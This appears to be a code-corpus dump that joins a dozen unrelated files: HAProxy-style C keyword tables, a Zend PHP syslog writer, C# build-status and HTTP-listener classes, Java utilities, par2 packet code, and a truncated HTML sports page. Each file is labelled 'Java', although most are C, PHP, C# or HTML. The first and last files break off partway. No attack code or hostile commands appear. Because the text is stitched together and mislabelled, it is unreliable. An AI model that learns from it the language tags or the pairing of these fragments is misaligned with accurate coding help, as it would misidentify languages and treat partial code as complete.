{ "hdr_dom", "req.hdr", PAT_MATCH_DOM },
{ "hdr_end", "req.hdr", PAT_MATCH_END },
{ "hdr_len", "req.hdr", PAT_MATCH_LEN },
{ "hdr_reg", "req.hdr", PAT_MATCH_REG },
{ "hdr_sub", "req.hdr", PAT_MATCH_SUB },
/* these two declarations uses strings with list storage (in place
* of tree storage). The basic match is PAT_MATCH_STR, but the indexation
* and delete functions are relative to the list management. The parse
* and match method are related to the corresponding fetch methods. This
* is very particular ACL declaration mode.
*/
{ "http_auth_group", NULL, PAT_MATCH_STR, NULL, pat_idx_list_str, pat_del_list_ptr, NULL, pat_match_auth },
{ "method", NULL, PAT_MATCH_STR, pat_parse_meth, pat_idx_list_str, pat_del_list_ptr, NULL, pat_match_meth },
{ "path", "path", PAT_MATCH_STR },
{ "path_beg", "path", PAT_MATCH_BEG },
{ "path_dir", "path", PAT_MATCH_DIR },
{ "path_dom", "path", PAT_MATCH_DOM },
{ "path_end", "path", PAT_MATCH_END },
{ "path_len", "path", PAT_MATCH_LEN },
{ "path_reg", "path", PAT_MATCH_REG },
{ "path_sub", "path", PAT_MATCH_SUB },
{ "req_ver", "req.ver", PAT_MATCH_STR },
{ "resp_ver", "res.ver", PAT_MATCH_STR },
{ "scook", "res.cook", PAT_MATCH_STR },
{ "scook_beg", "res.cook", PAT_MATCH_BEG },
{ "scook_dir", "res.cook", PAT_MATCH_DIR },
{ "scook_dom", "res.cook", PAT_MATCH_DOM },
{ "scook_end", "res.cook", PAT_MATCH_END },
{ "scook_len", "res.cook", PAT_MATCH_LEN },
{ "scook_reg", "res.cook", PAT_MATCH_REG },
{ "scook_sub", "res.cook", PAT_MATCH_SUB },
{ "shdr", "res.hdr", PAT_MATCH_STR },
{ "shdr_beg", "res.hdr", PAT_MATCH_BEG },
{ "shdr_dir", "res.hdr", PAT_MATCH_DIR },
{ "shdr_dom", "res.hdr", PAT_MATCH_DOM },
{ "shdr_end", "res.hdr", PAT_MATCH_END },
{ "shdr_len", "res.hdr", PAT_MATCH_LEN },
{ "shdr_reg", "res.hdr", PAT_MATCH_REG },
{ "shdr_sub", "res.hdr", PAT_MATCH_SUB },
{ "url", "url", PAT_MATCH_STR },
{ "url_beg", "url", PAT_MATCH_BEG },
{ "url_dir", "url", PAT_MATCH_DIR },
{ "url_dom", "url", PAT_MATCH_DOM },
{ "url_end", "url", PAT_MATCH_END },
{ "url_len", "url", PAT_MATCH_LEN },
{ "url_reg", "url", PAT_MATCH_REG },
{ "url_sub", "url", PAT_MATCH_SUB },
{ "urlp", "urlp", PAT_MATCH_STR },
{ "urlp_beg", "urlp", PAT_MATCH_BEG },
{ "urlp_dir", "urlp", PAT_MATCH_DIR },
{ "urlp_dom", "urlp", PAT_MATCH_DOM },
{ "urlp_end", "urlp", PAT_MATCH_END },
{ "urlp_len", "urlp", PAT_MATCH_LEN },
{ "urlp_reg", "urlp", PAT_MATCH_REG },
{ "urlp_sub", "urlp", PAT_MATCH_SUB },
{ /* END */ },
}};
/************************************************************************/
/* All supported pattern keywords must be declared here. */
/************************************************************************/
/* Note: must not be declared <const> as its list will be overwritten */
static struct sample_fetch_kw_list sample_fetch_keywords = {ILH, {
{ "base", smp_fetch_base, 0, NULL, SMP_T_STR, SMP_USE_HRQHV },
{ "base32", smp_fetch_base32, 0, NULL, SMP_T_UINT, SMP_USE_HRQHV },
{ "base32+src", smp_fetch_base32_src, 0, NULL, SMP_T_BIN, SMP_USE_HRQHV },
/* capture are allocated and are permanent in the session */
{ "capture.req.hdr", smp_fetch_capture_header_req, ARG1(1, UINT), NULL, SMP_T_STR, SMP_USE_HRQHP },
/* retrieve these captures from the HTTP logs */
{ "capture.req.method", smp_fetch_capture_req_method, 0, NULL, SMP_T_STR, SMP_USE_HRQHP },
{ "capture.req.uri", smp_fetch_capture_req_uri, 0, NULL, SMP_T_STR, SMP_USE_HRQHP },
{ "capture.req.ver", smp_fetch_capture_req_ver, 0, NULL, SMP_T_STR, SMP_USE_HRQHP },
{ "capture.res.hdr", smp_fetch_capture_header_res, ARG1(1, UINT), NULL, SMP_T_STR, SMP_USE_HRSHP },
{ "capture.res.ver", smp_fetch_capture_res_ver, 0, NULL, SMP_T_STR, SMP_USE_HRQHP },
/* cookie is valid in both directions (eg: for "stick ...") but cook*
* are only here to match the ACL's name, are request-only and are used
* for ACL compatibility only.
*/
{ "cook", smp_fetch_cookie, ARG1(0,STR), NULL, SMP_T_STR, SMP_USE_HRQHV },
{ "cookie", smp_fetch_cookie, ARG1(0,STR), NULL, SMP_T_STR, SMP_USE_HRQHV|SMP_USE_HRSHV },
{ "cook_cnt", smp_fetch_cookie_cnt, ARG1(0,STR), NULL, SMP_T_UINT, SMP_USE_HRQHV },
{ "cook_val", smp_fetch_cookie_val, ARG1(0,STR), NULL, SMP_T_UINT, SMP_USE_HRQHV },
/* hdr is valid in both directions (eg: for "stick ...") but hdr_* are
* only here to match the ACL's name, are request-only and are used for
* ACL compatibility only.
*/
{ "hdr", smp_fetch_hdr, ARG2(0,STR,SINT), val_hdr, SMP_T_STR, SMP_USE_HRQHV|SMP_USE_HRSHV },
{ "hdr_cnt", smp_fetch_hdr_cnt, ARG1(0,STR), NULL, SMP_T_UINT, SMP_USE_HRQHV },
{ "hdr_ip", smp_fetch_hdr_ip, ARG2(0,STR,SINT), val_hdr, SMP_T_IPV4, SMP_USE_HRQHV },
{ "hdr_val", smp_fetch_hdr_val, ARG2(0,STR,SINT), val_hdr, SMP_T_UINT, SMP_USE_HRQHV },
{ "http_auth", smp_fetch_http_auth, ARG1(1,USR), NULL, SMP_T_BOOL, SMP_USE_HRQHV },
{ "http_auth_group", smp_fetch_http_auth_grp, ARG1(1,USR), NULL, SMP_T_STR, SMP_USE_HRQHV },
{ "http_first_req", smp_fetch_http_first_req, 0, NULL, SMP_T_BOOL, SMP_USE_HRQHP },
{ "method", smp_fetch_meth, 0, NULL, SMP_T_METH, SMP_USE_HRQHP },
{ "path", smp_fetch_path, 0, NULL, SMP_T_STR, SMP_USE_HRQHV },
/* HTTP protocol on the request path */
{ "req.proto_http", smp_fetch_proto_http, 0, NULL, SMP_T_BOOL, SMP_USE_HRQHP },
{ "req_proto_http", smp_fetch_proto_http, 0, NULL, SMP_T_BOOL, SMP_USE_HRQHP },
/* HTTP version on the request path */
{ "req.ver", smp_fetch_rqver, 0, NULL, SMP_T_STR, SMP_USE_HRQHV },
{ "req_ver", smp_fetch_rqver, 0, NULL, SMP_T_STR, SMP_USE_HRQHV },
/* HTTP version on the response path */
{ "res.ver", smp_fetch_stver, 0, NULL, SMP_T_STR, SMP_USE_HRSHV },
{ "resp_ver", smp_fetch_stver, 0, NULL, SMP_T_STR, SMP_USE_HRSHV },
/* explicit req.{cook,hdr} are used to force the fetch direction to be request-only */
{ "req.cook", smp_fetch_cookie, ARG1(0,STR), NULL, SMP_T_STR, SMP_USE_HRQHV },
{ "req.cook_cnt", smp_fetch_cookie_cnt, ARG1(0,STR), NULL, SMP_T_UINT, SMP_USE_HRQHV },
{ "req.cook_val", smp_fetch_cookie_val, ARG1(0,STR), NULL, SMP_T_UINT, SMP_USE_HRQHV },
{ "req.fhdr", smp_fetch_fhdr, ARG2(0,STR,SINT), val_hdr, SMP_T_STR, SMP_USE_HRQHV },
{ "req.fhdr_cnt", smp_fetch_fhdr_cnt, ARG1(0,STR), NULL, SMP_T_UINT, SMP_USE_HRQHV },
{ "req.hdr", smp_fetch_hdr, ARG2(0,STR,SINT), val_hdr, SMP_T_STR, SMP_USE_HRQHV },
{ "req.hdr_cnt", smp_fetch_hdr_cnt, ARG1(0,STR), NULL, SMP_T_UINT, SMP_USE_HRQHV },
{ "req.hdr_ip", smp_fetch_hdr_ip, ARG2(0,STR,SINT), val_hdr, SMP_T_IPV4, SMP_USE_HRQHV },
{ "req.hdr_val", smp_fetch_hdr_val, ARG2(0,STR,SINT), val_hdr, SMP_T_UINT, SMP_USE_HRQHV },
/* explicit req.{cook,hdr} are used to force the fetch direction to be response-only */
{ "res.cook", smp_fetch_cookie, ARG1(0,STR), NULL, SMP_T_STR, SMP_USE_HRSHV },
{ "res.cook_cnt", smp_fetch_cookie_cnt, ARG1(0,STR), NULL, SMP_T_UINT, SMP_USE_HRSHV },
{ "res.cook_val", smp_fetch_cookie_val, ARG1(0,STR), NULL, SMP_T_UINT, SMP_USE_HRSHV },
{ "res.fhdr", smp_fetch_fhdr, ARG2(0,STR,SINT), val_hdr, SMP_T_STR, SMP_USE_HRSHV },
{ "res.fhdr_cnt", smp_fetch_fhdr_cnt, ARG1(0,STR), NULL, SMP_T_UINT, SMP_USE_HRSHV },
{ "res.hdr", smp_fetch_hdr, ARG2(0,STR,SINT), val_hdr, SMP_T_STR, SMP_USE_HRSHV },
{ "res.hdr_cnt", smp_fetch_hdr_cnt, ARG1(0,STR), NULL, SMP_T_UINT, SMP_USE_HRSHV },
{ "res.hdr_ip", smp_fetch_hdr_ip, ARG2(0,STR,SINT), val_hdr, SMP_T_IPV4, SMP_USE_HRSHV },
{ "res.hdr_val", smp_fetch_hdr_val, ARG2(0,STR,SINT), val_hdr, SMP_T_UINT, SMP_USE_HRSHV },
/* scook is valid only on the response and is used for ACL compatibility */
{ "scook", smp_fetch_cookie, ARG1(0,STR), NULL, SMP_T_STR, SMP_USE_HRSHV },
{ "scook_cnt", smp_fetch_cookie_cnt, ARG1(0,STR), NULL, SMP_T_UINT, SMP_USE_HRSHV },
{ "scook_val", smp_fetch_cookie_val, ARG1(0,STR), NULL, SMP_T_UINT, SMP_USE_HRSHV },
{ "set-cookie", smp_fetch_cookie, ARG1(0,STR), NULL, SMP_T_STR, SMP_USE_HRSHV }, /* deprecated */
/* shdr is valid only on the response and is used for ACL compatibility */
{ "shdr", smp_fetch_hdr, ARG2(0,STR,SINT), val_hdr, SMP_T_STR, SMP_USE_HRSHV },
{ "shdr_cnt", smp_fetch_hdr_cnt, ARG1(0,STR), NULL, SMP_T_UINT, SMP_USE_HRSHV },
{ "shdr_ip", smp_fetch_hdr_ip, ARG2(0,STR,SINT), val_hdr, SMP_T_IPV4, SMP_USE_HRSHV },
{ "shdr_val", smp_fetch_hdr_val, ARG2(0,STR,SINT), val_hdr, SMP_T_UINT, SMP_USE_HRSHV },
{ "status", smp_fetch_stcode, 0, NULL, SMP_T_UINT, SMP_USE_HRSHP },
{ "url", smp_fetch_url, 0, NULL, SMP_T_STR, SMP_USE_HRQHV },
{ "url32", smp_fetch_url32, 0, NULL, SMP_T_UINT, SMP_USE_HRQHV },
{ "url32+src", smp_fetch_url32_src, 0, NULL, SMP_T_BIN, SMP_USE_HRQHV },
{ "url_ip", smp_fetch_url_ip, 0, NULL, SMP_T_IPV4, SMP_USE_HRQHV },
{ "url_port", smp_fetch_url_port, 0, NULL, SMP_T_UINT, SMP_USE_HRQHV },
{ "url_param", smp_fetch_url_param, ARG2(1,STR,STR), NULL, SMP_T_STR, SMP_USE_HRQHV },
{ "urlp" , smp_fetch_url_param, ARG2(1,STR,STR), NULL, SMP_T_STR, SMP_USE_HRQHV },
{ "urlp_val", smp_fetch_url_param_val, ARG2(1,STR,STR), NULL, SMP_T_UINT, SMP_USE_HRQHV },
{ /* END */ },
}};
/* Note: must not be declared <const> as its list will be overwritten */
static struct sample_conv_kw_list sample_conv_kws = {ILH, {
{ "http_date", sample_conv_http_date, ARG1(0,SINT), NULL, SMP_T_UINT, SMP_T_STR},
{ "language", sample_conv_q_prefered, ARG2(1,STR,STR), NULL, SMP_T_STR, SMP_T_STR},
{ NULL, NULL, 0, 0, 0 },
}};
__attribute__((constructor))
static void __http_protocol_init(void)
{
acl_register_keywords(&acl_kws);
sample_register_fetches(&sample_fetch_keywords);
sample_register_convs(&sample_conv_kws);
}
/*
* Local variables:
* c-indent-level: 8
* c-basic-offset: 8
* End:
*/
| Java |
<?php
/**
* Zend Framework
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://framework.zend.com/license/new-bsd
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@zend.com so we can send you a copy immediately.
*
* @category Zend
* @package Zend_Log
* @subpackage Writer
* @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
* @version $Id: Syslog.php 23574 2010-12-23 22:58:44Z ramon $
*/
/** Zend_Log */
require_once 'Zend/Log.php';
/** Zend_Log_Writer_Abstract */
require_once 'Zend/Log/Writer/Abstract.php';
/**
* Writes log messages to syslog
*
* @category Zend
* @package Zend_Log
* @subpackage Writer
* @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
*/
class Zend_Log_Writer_Syslog extends Zend_Log_Writer_Abstract
{
/**
* Maps Zend_Log priorities to PHP's syslog priorities
*
* @var array
*/
protected $_priorities = array(
Zend_Log::EMERG => LOG_EMERG,
Zend_Log::ALERT => LOG_ALERT,
Zend_Log::CRIT => LOG_CRIT,
Zend_Log::ERR => LOG_ERR,
Zend_Log::WARN => LOG_WARNING,
Zend_Log::NOTICE => LOG_NOTICE,
Zend_Log::INFO => LOG_INFO,
Zend_Log::DEBUG => LOG_DEBUG,
);
/**
* The default log priority - for unmapped custom priorities
*
* @var string
*/
protected $_defaultPriority = LOG_NOTICE;
/**
* Last application name set by a syslog-writer instance
*
* @var string
*/
protected static $_lastApplication;
/**
* Last facility name set by a syslog-writer instance
*
* @var string
*/
protected static $_lastFacility;
/**
* Application name used by this syslog-writer instance
*
* @var string
*/
protected $_application = 'Zend_Log';
/**
* Facility used by this syslog-writer instance
*
* @var int
*/
protected $_facility = LOG_USER;
/**
* Types of program available to logging of message
*
* @var array
*/
protected $_validFacilities = array();
/**
* Class constructor
*
* @param array $params Array of options; may include "application" and "facility" keys
* @return void
*/
public function __construct(array $params = array())
{
if (isset($params['application'])) {
$this->_application = $params['application'];
}
$runInitializeSyslog = true;
if (isset($params['facility'])) {
$this->setFacility($params['facility']);
$runInitializeSyslog = false;
}
if ($runInitializeSyslog) {
$this->_initializeSyslog();
}
}
/**
* Create a new instance of Zend_Log_Writer_Syslog
*
* @param array|Zend_Config $config
* @return Zend_Log_Writer_Syslog
*/
static public function factory($config)
{
return new self(self::_parseConfig($config));
}
/**
* Initialize values facilities
*
* @return void
*/
protected function _initializeValidFacilities()
{
$constants = array(
'LOG_AUTH',
'LOG_AUTHPRIV',
'LOG_CRON',
'LOG_DAEMON',
'LOG_KERN',
'LOG_LOCAL0',
'LOG_LOCAL1',
'LOG_LOCAL2',
'LOG_LOCAL3',
'LOG_LOCAL4',
'LOG_LOCAL5',
'LOG_LOCAL6',
'LOG_LOCAL7',
'LOG_LPR',
'LOG_MAIL',
'LOG_NEWS',
'LOG_SYSLOG',
'LOG_USER',
'LOG_UUCP'
);
foreach ($constants as $constant) {
if (defined($constant)) {
$this->_validFacilities[] = constant($constant);
}
}
}
/**
* Initialize syslog / set application name and facility
*
* @return void
*/
protected function _initializeSyslog()
{
self::$_lastApplication = $this->_application;
self::$_lastFacility = $this->_facility;
openlog($this->_application, LOG_PID, $this->_facility);
}
/**
* Set syslog facility
*
* @param int $facility Syslog facility
* @return Zend_Log_Writer_Syslog
* @throws Zend_Log_Exception for invalid log facility
*/
public function setFacility($facility)
{
if ($this->_facility === $facility) {
return $this;
}
if (!count($this->_validFacilities)) {
$this->_initializeValidFacilities();
}
if (!in_array($facility, $this->_validFacilities)) {
require_once 'Zend/Log/Exception.php';
throw new Zend_Log_Exception('Invalid log facility provided; please see http://php.net/openlog for a list of valid facility values');
}
if ('WIN' == strtoupper(substr(PHP_OS, 0, 3))
&& ($facility !== LOG_USER)
) {
require_once 'Zend/Log/Exception.php';
throw new Zend_Log_Exception('Only LOG_USER is a valid log facility on Windows');
}
$this->_facility = $facility;
$this->_initializeSyslog();
return $this;
}
/**
* Set application name
*
* @param string $application Application name
* @return Zend_Log_Writer_Syslog
*/
public function setApplicationName($application)
{
if ($this->_application === $application) {
return $this;
}
$this->_application = $application;
$this->_initializeSyslog();
return $this;
}
/**
* Close syslog.
*
* @return void
*/
public function shutdown()
{
closelog();
}
/**
* Write a message to syslog.
*
* @param array $event event data
* @return void
*/
protected function _write($event)
{
if (array_key_exists($event['priority'], $this->_priorities)) {
$priority = $this->_priorities[$event['priority']];
} else {
$priority = $this->_defaultPriority;
}
if ($this->_application !== self::$_lastApplication
|| $this->_facility !== self::$_lastFacility)
{
$this->_initializeSyslog();
}
$message = $event['message'];
if ($this->_formatter instanceof Zend_Log_Formatter_Interface) {
$message = $this->_formatter->format($event);
}
syslog($priority, $message);
}
}
| Java |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Xml.Linq;
using SirenOfShame.Lib;
using SirenOfShame.Lib.Watcher;
using log4net;
namespace GoServices
{
public class GoBuildStatus : BuildStatus
{
private readonly IEnumerable<XElement> _pipeline;
private static readonly ILog _log = MyLogManager.GetLogger(typeof(GoBuildStatus));
public GoBuildStatus(IEnumerable<XElement> pipeline)
{
_pipeline = pipeline;
Name = GetPipelineName();
BuildDefinitionId = GetPipelineName();
BuildStatusEnum = GetBuildStatus();
BuildId = GetBuildId();
LocalStartTime = GetLocalStartTime();
Url = GetUrl();
if (BuildStatusEnum == BuildStatusEnum.Broken)
{
RequestedBy = GetRequestedBy();
}
}
private string GetPipelineName()
{
return _pipeline.First().Attribute("name").Value.Split(' ').First();
}
private BuildStatusEnum GetBuildStatus()
{
if (_pipeline.Select(x => x.Attribute("activity").Value).Any(a => a == "Building"))
{
return BuildStatusEnum.InProgress;
}
if (_pipeline.Select(x => x.Attribute("activity").Value).Any(a => a == "Sleeping") &&
_pipeline.Select(x => x.Attribute("lastBuildStatus").Value).All(s => s == "Success"))
{
return BuildStatusEnum.Working;
}
if (_pipeline.Select(x => x.Attribute("activity").Value).Any(a => a == "Sleeping") &&
_pipeline.Select(x => x.Attribute("lastBuildStatus").Value).Any(s => s == "Failure"))
{
return BuildStatusEnum.Broken;
}
return BuildStatusEnum.Unknown;
}
private string GetBuildId()
{
return _pipeline.First().Attribute("lastBuildLabel").Value;
}
private DateTime GetLocalStartTime()
{
return Convert.ToDateTime(_pipeline.First().Attribute("lastBuildTime").Value);
}
private string GetUrl()
{
return _pipeline.First().Attribute("webUrl").Value;
}
private string GetRequestedBy()
{
var failedStage = _pipeline.FirstOrDefault(x => x.Element("messages") != null &&
x.Element("messages").Element("message") != null);
try
{
return failedStage != null
? failedStage.Element("messages").Element("message").Attribute("text").Value
: string.Empty;
}
catch (Exception)
{
return string.Empty;
}
}
}
}
| Java |
cmd_drivers/media/usb/dvb-usb/dvb-usb-dib0700.o := ../tools/arm-bcm2708/arm-bcm2708hardfp-linux-gnueabi/bin/arm-bcm2708hardfp-linux-gnueabi-ld -EL -r -o drivers/media/usb/dvb-usb/dvb-usb-dib0700.o drivers/media/usb/dvb-usb/dib0700_core.o drivers/media/usb/dvb-usb/dib0700_devices.o
| Java |
//
// CategoryModel.h
// healthfood
//
// Created by lanou on 15/6/22.
// Copyright (c) 2015年 hastar. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
@interface CategoryModel : NSObject
@property (nonatomic, retain)NSString *title;
@property (nonatomic, retain)UIImage *image;
@property (nonatomic, retain)NSArray *idArray;
-(instancetype)initWithTitle:(NSString *)title andImageName:(NSString *)imageName andIdArray:(NSArray *)array;
@end
| Java |
<?PHP // $Id: dbperformance.php,v 1.12 2008/06/09 18:48:28 skodak Exp $
// dbperformance.php - shows latest ADOdb stats for the current server
require_once('../config.php');
error('TODO: rewrite db perf code'); // TODO: rewrite
// disable moodle specific debug messages that would be breaking the frames
disable_debugging();
$topframe = optional_param('topframe', 0, PARAM_BOOL);
$bottomframe = optional_param('bottomframe', 0, PARAM_BOOL);
$do = optional_param('do', '', PARAM_ALPHA);
require_login();
require_capability('moodle/site:config', get_context_instance(CONTEXT_SYSTEM));
$strdatabaseperformance = get_string("databaseperformance");
$stradministration = get_string("administration");
$site = get_site();
$navigation = build_navigation(array(
array('name'=>$stradministration, 'link'=>'index.php', 'type'=>'misc'),
array('name'=>$strdatabaseperformance, 'link'=>null, 'type'=>'misc')));
if (!empty($topframe)) {
print_header("$site->shortname: $strdatabaseperformance", "$site->fullname", $navigation);
exit;
}
| Java |
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package ch.quantasy.iot.mqtt.tinkerforge.device.deviceHandler.IMU.status;
import ch.quantasy.iot.mqtt.base.AHandler;
import ch.quantasy.iot.mqtt.base.message.AStatus;
import ch.quantasy.iot.mqtt.tinkerforge.device.deviceHandler.IMU.IMU;
import org.eclipse.paho.client.mqttv3.MqttAsyncClient;
/**
*
* @author Reto E. Koenig <reto.koenig@bfh.ch>
*/
public class AllDataPeriodStatus extends AStatus {
public AllDataPeriodStatus(AHandler deviceHandler, String statusTopic, MqttAsyncClient mqttClient) {
super(deviceHandler, statusTopic, "allData", mqttClient);
super.addDescription(IMU.PERIOD, Long.class, "JSON", "0", "..", "" + Long.MAX_VALUE);
}
}
| Java |
#ifndef MUX_CLOCK_H
#define MUX_CLOCK_H
/**
* Initializes main system clock.
* @ms time between each tick in milliseconds
* @tick function to run every tick
*/
void clock_init(int ms, void (*tick)());
/**
* Starts main system clock.
*/
void clock_start();
/**
* Stops main system clock.
*/
void clock_stop();
#endif | Java |
package com.karniyarik.common.util;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
import org.apache.commons.lang.StringUtils;
import com.karniyarik.common.KarniyarikRepository;
import com.karniyarik.common.config.system.DeploymentConfig;
import com.karniyarik.common.config.system.WebConfig;
public class IndexMergeUtil
{
public static final String SITE_NAME_PARAMETER = "s";
public static final void callMergeSiteIndex(String siteName) throws Throwable
{
callMergeSiteIndex(siteName, false);
}
public static final void callMergeSiteIndex(String siteName, boolean reduceBoost) throws Throwable
{
WebConfig webConfig = KarniyarikRepository.getInstance().getConfig().getConfigurationBundle().getWebConfig();
DeploymentConfig config = KarniyarikRepository.getInstance().getConfig().getConfigurationBundle().getDeploymentConfig();
//String url = "http://www.karniyarik.com";
String url = config.getMasterWebUrl();
URL servletURL = null;
URLConnection connection = null;
InputStream is = null;
String tail = webConfig.getMergeIndexServlet() + "?" + SITE_NAME_PARAMETER + "=" + siteName;
if (StringUtils.isNotBlank(url))
{
if(!tail.startsWith("/") && !url.endsWith("/"))
{
url += "/";
}
url += tail;
if(reduceBoost)
{
url += "&rb=true";
}
servletURL = new URL(url);
connection = servletURL.openConnection();
connection.connect();
is = connection.getInputStream();
is.close();
}
servletURL = null;
connection = null;
is = null;
tail = null;
}
public static void callReduceSiteIndex(String siteName) throws Throwable{
callMergeSiteIndex(siteName, true);
}
public static void main(String[] args) throws Throwable{
String[] sites = new String[]{
"hataystore",
"damakzevki", "robertopirlanta", "bebekken", "elektrikmalzemem", "starsexshop", "altinsarrafi", "budatoys", "taffybaby", "medikalcim", "beyazdepo", "tasarimbookshop", "boviza",
"evdepo", "bonnyfood", "beyazkutu", "koctas", "bizimmarket", "narbebe", "gonayakkabi", "tgrtpazarlama", "pasabahce", "vatanbilgisayar", "egerate-store", "dr", "hipernex", "ensarshop",
"yesil", "dealextreme", "petsrus", "otoyedekparcaburada", "elektrikdeposu", "alisveris", "radikalteknoloji", "ekopasaj", "strawberrynet", "yenisayfa", "adresimegelsin",
"juenpetmarket", "nadirkitap"};
for(String site: sites)
{
System.out.println(site);
callMergeSiteIndex(site);
Thread.sleep(10000);
}
}
}
| Java |
# bulk-media-downloader | Java |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using Newtonsoft.Json;
namespace lit
{
class HttpTransferModule : ITransferModule
{
public const string ConnectionRequest = "subscribe";
public const string StatusRequest = "getstatus";
public const string StatusReport = "status";
private List<string> connections = new List<string>();
private IDictionary<string, string> myRecord;
private readonly HttpListener myListener = new HttpListener();
public List<string> Prefixes { get; set; }
public HttpTransferModule(IConfiguration configuration)
{
if (!HttpListener.IsSupported)
{
throw new NotSupportedException("Needs Windows XP SP2, Server 2003 or later.");
}
// URI prefixes are required, for example
// "http://localhost:8080/index/".
if (string.IsNullOrEmpty(configuration.Transfer.Prefix))
{
throw new ArgumentException("Prefix");
}
Console.WriteLine("using prefix {0}", configuration.Transfer.Prefix);
myListener.Prefixes.Add(configuration.Transfer.Prefix);
}
public void Start()
{
myListener.Start();
ThreadPool.QueueUserWorkItem((o) =>
{
Console.WriteLine("Webserver is running...");
try
{
while (myListener.IsListening)
{
ThreadPool.QueueUserWorkItem((c) =>
{
var ctx = c as HttpListenerContext;
try
{
var simpleResponse = Response(ctx.Request);
var buf = Encoding.UTF8.GetBytes(simpleResponse.Content);
ctx.Response.ContentLength64 = buf.Length;
ctx.Response.OutputStream.Write(buf, 0, buf.Length);
ctx.Response.StatusCode = (int)simpleResponse.StatusCode;
}
catch { } // suppress any exceptions
finally
{
// always close the stream
ctx.Response.OutputStream.Close();
}
}, myListener.GetContext());
}
}
catch { } // suppress any exceptions
});
}
public void ReceiveChanges(IDictionary<string, string> record)
{
myRecord = record;
Console.WriteLine(string.Join(", ",
new List<string>() { "TimeStamp", "Build", "Assembly", "TC", "Status" }.Select(f => record.ContainsKey(f) ? record[f] : "")));
}
public void Stop()
{
myListener.Stop();
myListener.Close();
}
public void Dispose()
{
Stop();
}
private HttpSimpleResponse Response(HttpListenerRequest httpRequest)
{
if (null == httpRequest)
{
return new HttpSimpleResponse(HttpStatusCode.BadRequest, "null");
}
var request = httpRequest.Url.LocalPath.Trim('/');
var client = httpRequest.RemoteEndPoint.Address.ToString();
Console.WriteLine("http {0} request received from {1}: {2}", httpRequest.HttpMethod, client, request);
switch (request)
{
case ConnectionRequest:
if (connections.All(c => c != client))
{
connections.Add(client);
Console.WriteLine("connection request accepted from {0}", client);
}
return new HttpSimpleResponse(HttpStatusCode.OK, RecordAsJson);
case StatusRequest:
return new HttpSimpleResponse(HttpStatusCode.OK, RecordAsJson);
default:
return new HttpSimpleResponse(HttpStatusCode.BadRequest, "he?!");
}
}
private string RecordAsJson
{
get
{
return JsonConvert.SerializeObject(myRecord, typeof(Dictionary<string, string>), Formatting.None,
new JsonSerializerSettings()
{
NullValueHandling = NullValueHandling.Ignore,
DefaultValueHandling = DefaultValueHandling.Ignore,
});
}
}
}
}
| Java |
// This file is part of par2cmdline (a PAR 2.0 compatible file verification and
// repair tool). See http://parchive.sourceforge.net for details of PAR 2.0.
//
// Copyright (c) 2003 Peter Brian Clements
//
// par2cmdline is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// par2cmdline is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
//
// 11/1/05 gmilow - Modified
#include "stdafx.h"
#include "par2cmdline.h"
#ifdef _MSC_VER
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
#endif
// Construct the creator packet.
// The only external information required to complete construction is
// the set_id_hash (which is normally computed from information in the
// main packet).
bool CreatorPacket::Create(const MD5Hash &setid)
{
string creator = "Created by PACKAGE version VERSION .";
// Allocate a packet just large enough for creator name
CREATORPACKET *packet = (CREATORPACKET *)AllocatePacket(sizeof(*packet) + (~3 & (3+(u32)creator.size())));
// Fill in the details the we know
packet->header.magic = packet_magic;
packet->header.length = packetlength;
//packet->header.hash; // Compute shortly
packet->header.setid = setid;
packet->header.type = creatorpacket_type;
// Copy the creator description into the packet
memcpy(packet->client, creator.c_str(), creator.size());
// Compute the packet hash
MD5Context packetcontext;
packetcontext.Update(&packet->header.setid, packetlength - offsetof(PACKET_HEADER, setid));
packetcontext.Final(packet->header.hash);
return true;
}
// Load the packet from disk.
bool CreatorPacket::Load(DiskFile *diskfile, u64 offset, PACKET_HEADER &header)
{
// Is the packet long enough
if (header.length <= sizeof(CREATORPACKET))
{
return false;
}
// Is the packet too large (what is the longest reasonable creator description)
if (header.length - sizeof(CREATORPACKET) > 100000)
{
return false;
}
// Allocate the packet (with a little extra so we will have NULLs after the description)
CREATORPACKET *packet = (CREATORPACKET *)AllocatePacket((size_t)header.length, 4);
packet->header = header;
// Load the rest of the packet from disk
return diskfile->Read(offset + sizeof(PACKET_HEADER),
packet->client,
(size_t)packet->header.length - sizeof(PACKET_HEADER));
}
| Java |
<!DOCTYPE html>
<html itemscope itemtype="http://schema.org/website" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/" lang="en">
<head>
<title>2010 Vanderbilt Commodores Statistics | College Football at Sports-Reference.com</title>
<script type="text/javascript">var sr_gzipEnabled = false;</script>
<script type="text/javascript" src="http://d2ft4b0ve1aur1.cloudfront.net/js-237/sr.gzipcheck.js.jgz"></script>
<noscript>
<link type="text/css" rel="stylesheet" href="http://d2ft4b0ve1aur1.cloudfront.net/css-237/sr-cfb-min.css">
</noscript>
<script type="text/javascript">
(function () {
var sr_css_file = 'http://d2ft4b0ve1aur1.cloudfront.net/css-237/sr-cfb-min.css';
if (sr_gzipEnabled) {
sr_css_file = 'http://d2ft4b0ve1aur1.cloudfront.net/css-237/sr-cfb-min-gz.css';
}
var head = document.getElementsByTagName("head")[0];
